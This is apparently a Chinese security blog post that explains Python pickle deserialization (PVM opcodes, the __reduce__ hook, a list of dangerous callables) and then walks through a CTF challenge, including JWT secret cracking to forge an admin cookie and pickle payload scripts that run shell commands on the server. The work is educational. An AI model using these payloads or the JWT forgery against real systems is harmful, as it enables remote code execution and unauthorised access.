浅谈Python Pickle反序列化

前言

鸽了很久的python反序列化漏洞,趁着今天没啥事儿就学习一下。在目前(我)已知的反序列化漏洞中,有PHP、Python以及Java语言的反序列化漏洞,且漏洞利用的方式多种多样。这次就先学习一下Python Pickle反序列化漏洞。

基础知识

什么是反序列化

序列化说白了就是将对象转换成字节流,便于保存在内存、文件或者是数据库中;反序列化则是序列化的逆过程,将字节流还原成对象。

Pickle库以及函数

Python中的序列化操作时可以通过pickle和cPickle两个模块进行操作,这两个模块一个是纯python实现,一个是C语言实现,为了方便,这里就以pickle库来进行学习:

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。

函数         说明
dumps对象序列化为bytes对象
dump对象序列化到文件对象,存入文件
loads从bytes对象反序列化
load对象反序列化,从文件中读取数据

带 s 和不带 s 的区别就在于一个是直接进行序列化、反序列操作,另一个在完成上述操作时同时会对文件进行读取、写入操作。下面将举两个例子来看dumps和loads函数的作用:


#test.py
import pickle

class A:
    def __init__(self):
        print('This is A')


a = A()
p_a = pickle.dumps(a)
print p_a
pickle.loads(p_a)

##输出:This is A
#(i__main__
#A
#p0
#(dp1
#b.

PVM指令

在python2下运行上述的代码,发现在loads函数输出的时候会有一串奇怪的字符。这串字符学名叫PVM指令:


Python语言,是可以直接从源代码中运行程序。Python解释器会将源代码编译成字节码,然后将编译过后的字节码转发到Python虚拟机(PVM)中执行。所以说,PVM指令的作用就是告诉解释字节码的解释引擎我们要进行什么操作。我们在python2运行后,会看到一个以.pyc为扩展名的文件,正是该程序的字节码。

列出几个比较重要的操作码:

c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object 作为可调用对象压入到栈中
( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组
S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中
t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中
R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中
. : 结束整个 Pickle 反序列化过程

PVM的组成

PVM 由三个部分组成,引擎(或者叫指令分析器)、栈区、还有一个 标志区(memo)


1.引擎的作用

从头开始读取流中的操作码和参数,并对其进行处理,zai在这个过程中改变 栈区 和 标签区,处理结束后到达栈顶,形成并返回反序列化的对象

2.栈区的作用

作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化,并最终在栈上生成发序列化的结果

3.标签区的作用

数据的一个索引或者标记

我们来解读一下上面 loads 函数的输出:


#(i__main__    引入__main__模块
#A             引入A对象
#p0            将栈顶数据(__main__.A)存储到标志区(memo)中
#(dp1          在栈顶创建一个字典,将memo中的内容转换成键值对并存储到这个字典中,然后栈顶存储到memo中
#b.            调用__setstate__或者__dict__.update()来更新字典内容,最后读取到".",结束Pickle序列化过程。

反序列化漏洞的产生

从上面的例子中,可以总结得到python序列化主要有三个过程:从对象中提取所有属性——》写入对象的所有模块名和类名——》写入对象所有属性的键值对。python反序列化漏洞的产生和php的魔术方法有异曲同工之处,在Python2中的__reduce__()方法,会在每次的反序列化开始或结束时调用。


__reduce__方法

在新式类中生效,不带参数,应返回字符串或是一个元组。

如果返回一个字符串,该字符串应该被解释为全局变量的名称,它应该是对象相对于其模块的本地名称。

当返回一个元组时,它必须包含两到五个成员。可选成员可以省略,也可以提供None作为其值。

每个成员的意义是按顺序规定的:

第一个成员,将被调用的对象,callable。

第二个成员,可调用对象的参数的元组。如果callable不接受任何参数,则必须给出一个空元组。

当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控,就会造成代码执行。

注意,目前在python2中,只有内置类才有__reduce__方法,所以声明的时候必须为class A(object)才能利用这个点。

来个例子简单理解一下:


import pickle
import os
class A(object):
    def __reduce__(self):
        return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
print test
pickle.loads(test)

可以看到在dumps执行后,PVM指令中有一行R指令,前面提到R指令的作用就是将该元组作为可调用参数的对象并执行该对象,所以就相当于执行了os.system('ls'),并且pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用:


eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

例题训练

ikun--CISCN2019 华北赛区

提示我们要买到LV6才行,跑脚本去抓 lv6.png:


import requests
url="http://87a4ec57-2a26-4095-8f2f-2de60f2f6192.node3.buuoj.cn/shop?page="

for i in range(0,501):

r=requests.get(url+str(i))
if 'lv6.png' in r.text:
        print (i)
        break

单线程跑的不是很快,好在页面也不是很多。但找到页面后发现钱不够。。。抓包看下:

发现页面中的折扣是可以进行修改的,尝试将折扣修改到足够小。这时候再向服务器发起请求的时候,被重定向到另一个页面,并且提示我们页面只有admin才能访问。这时候再重新审一下页面,有一个JWT的cookie,跑网站解析一下:

刚开始解析完,直接把用户名改成admin,放Burp里跑的时候没成功,发现还有一段密钥需要解,把现有的JWT放到JWT-Cracker跑一下,拿到密钥 1Kun 。再次修改JWT,拿着新的JWT向服务器发起请求,接着给了我们源码,源码挺多的,根据题目给的暗示 pickle和python,猜测是python反序列化漏洞,搜索关键字loads和dumps,在admin.py找到:


import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            #从字节对象中读取被封装的对象,并返回
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

如果我们传入一个带有__reduce__方法的类到become中,那么就会触发RCE(ps:网上的payload直接就找着/flag.txt打,其实最主要的还是先找到flag的位置。刚开始很sb的用os.system打,但是没有回显,一度以为被ban掉了= =后面才想起来该函数只执行,不打印结果):


#找flag.py
import pickle
import urllib
import sys
import commands

class payload(object):
    def __reduce__(self):
       return (commands.getoutput, ('ls /',))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

#拿flag.py

import pickle
import urllib
 
class payload(object):
    def __reduce__(self):
       return (commands.getoutput, ('cat /flag.txt',))

a = pickle.dumps(payload())

a = urllib.quote(a)
print a

实操推荐:Python反序列化漏洞

https://www.hetianlab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572&pk_campaign=weixin-wemedia#stu

通过进行python脚本的实际编程,了解python反序列化漏洞产生的机理,增强安全开发意识。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值